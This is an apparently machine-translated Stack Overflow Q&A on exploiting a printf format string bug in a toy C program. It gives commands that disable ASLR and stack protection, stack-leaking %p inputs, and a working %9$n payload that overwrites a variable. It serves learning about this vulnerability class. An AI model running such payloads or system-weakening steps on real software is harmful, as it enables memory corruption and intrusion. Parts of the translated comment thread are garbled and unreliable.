C 如何使用格式字符串攻击

C 如何使用格式字符串攻击,c,string,security,printf,format-string,C,String,Security,Printf,Format String,假设我有以下代码: #include <stdio.h> #include <stdlib.h> #include <fcntl.h> int num1 = 0; int main(int argc, char **argv){ double num2; int *ptr = &num1; printf(argv[1]); if (num1== 2527){ printf("Well done");

假设我有以下代码:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int num1 = 0;

int main(int argc, char **argv){
    double num2;
    int *ptr = &num1;
    printf(argv[1]);

    if (num1== 2527){
        printf("Well done");
    }
    if(num2 == 4.56)
        printf("You are a format string expert");
    return 0;
}
然后

 ./Program $( printf "\xAA\xAA\xAA\xAA") %.2523d%n
我就是搞不懂, 请帮我完成这件事

其要点是通过prinft函数将字符串利用到正在运行的程序中。我需要得到两个“做得好”和“你是一个格式字符串专家”打印。 在我的例子中,通过Linux终端/shell。
正如Hustmphrr所注意到的:这确实应该是白色黑客——软件安全性

首先,我建议您阅读《黑客:剥削的艺术》一书。非常好

现在,我试图解释如何利用您的程序。我假设您知道一些关于格式化字符串利用的基础知识,所以我不必从头开始。 但是,禁用ASLR并在没有堆栈保护的情况下编译可执行文件很重要

# disable ASLR
@> echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# compile without stack protection
@> gcc -g -fno-stack-protector -z execstack fmt.c 
我稍微修改了您的程序,因此更容易理解漏洞的工作原理:

#include <stdio.h>

int num1 = 0xdead;

int main(int argc, char **argv){
    int num2 = 0xbeef;
    int *ptr = &num1;
    printf(argv[1]);

    if (num1 == 0xabc){
        printf("Well done");
    }
    if(num2 == 0xdef)
        printf("You are a format string expert");

    printf("\n[DEBUG] num1: 0x%x [%p] num2: 0x%x [%p]\n", num1, &num1, num2, &num2);
    return 0;
}
输出:

0x7fffffffdf78.0x7fffffffdf90.(nil).0x7ffff7dd4e80.0x7ffff7dea560.0x7fffffffdf78.0x200400440.0xbeefffffdf70.0x601040
[DEBUG] num1: 0xdead [0x601040] num2: 0xbeef [0x7fffffffde84]
我们可以看到第9个元素的值为
0x601040
。这与调试消息中的值相同
num1:0xdead[0x601040]
。现在我们知道
0x601040
是指向变量num1的指针,它位于堆栈上。要更改该值(写入内存),我们可以将
%n
格式说明符与直接参数访问
%9$n
结合使用,以写入存储在第9个堆栈位置的地址

要访问完成得很好消息,我们只需将
0xabc
值写入标准输出,并使用
%n
将该数字写入内存:

@> ./a.out `python -c "print('A' * 0xabc)"`%9\$n
我使用python生成该输出。 现在程序打印“干得好”

变量num2

如果我们仔细查看输出,就会发现第8个元素的值为
beef
。这是我们的变量
num2
。我仍然不知道如何利用
num2
,但我试图从理论上解释如何利用。 我们希望在堆栈上放置任意内存地址。此地址应该是指向num2的地址(
0x7fffffffde84
)。之后,我们可以使用
%n
参数写入该地址。要在堆栈上放置地址,可以使用格式字符串

@> ./a.out `printf "\x08\x07\x06\x05\x04\x03\x02\x01"`
问题是我们必须找到这个格式字符串在堆栈上的位置

@> ./a.out AAAA`printf "\x08\x07\x06\x05\x04\x03\x02\x01"`BBBB`python -c "print('%p.' * 200)"`
“A”和“B”只是填充,在输出中查找地址也更容易。 该漏洞看起来类似于num1漏洞利用方式:

@> ./a.out ADDRESS`python -c "print('A' * VAL_TO_WRITE)"`PADDING%LOCATION_OF_ADDRESS\$n

问题:在我们的场景中,
num2
的地址是
0x7fffffde84
(即
0x00007fffffde84
)。无法写入该地址,因为0x00是C字符串终止符。因此,我们无法将地址放入格式字符串中

甚至是编译<代码>麻木==>什么<代码>printf(argv[1])==>如果
NULL
如果(numb=4.56)
有输入错误怎么办。您需要
==
@Bathsheba在这之前,
numb
应该被定义[确定,至少,声明]。否则,就是。@Bathsheba你是对的,没有注意到。我编辑了这个问题:)你到底想做什么?如果我写“/Program python-c”print('A'*0x9df)”%7\$n,这对“做得好”是有效的。但是printf中的等价物是什么(不使用python)。为什么它会打印2529个“A”呢?(对于0x537,它打印1024个'A')代码
python-c“打印('A'*n)
n
“A”字符打印到标准输出。在您的情况下
python-c“打印('A'*0x9df)
打印0x9df(十六进制)=2527(十二月)“A”s。您必须这样做,才能使用格式字符串说明符
%n
写入想要的数字。我不是bash编程专家,但您可以这样做
printf'A%.0s'{1..2527}&&echo%9\$n
。谢谢,我将等待有关浮点部分的另一个答案。有趣的是,他是如何写进内存中的任意地址(直接到一个特定的地址)的——它在python上也能工作吗?如果是这样的话,如何输入一个数字而不在%n之前使用2527个伪字母?是的,它也适用于python。不打印2572个字符就无法利用此漏洞,因为
%n
就是这样工作的。您可以将“A”字符替换为“.”或其他字符,但必须打印它。
@> ./a.out AAAA`printf "\x08\x07\x06\x05\x04\x03\x02\x01"`BBBB`python -c "print('%p.' * 200)"`
@> ./a.out ADDRESS`python -c "print('A' * VAL_TO_WRITE)"`PADDING%LOCATION_OF_ADDRESS\$n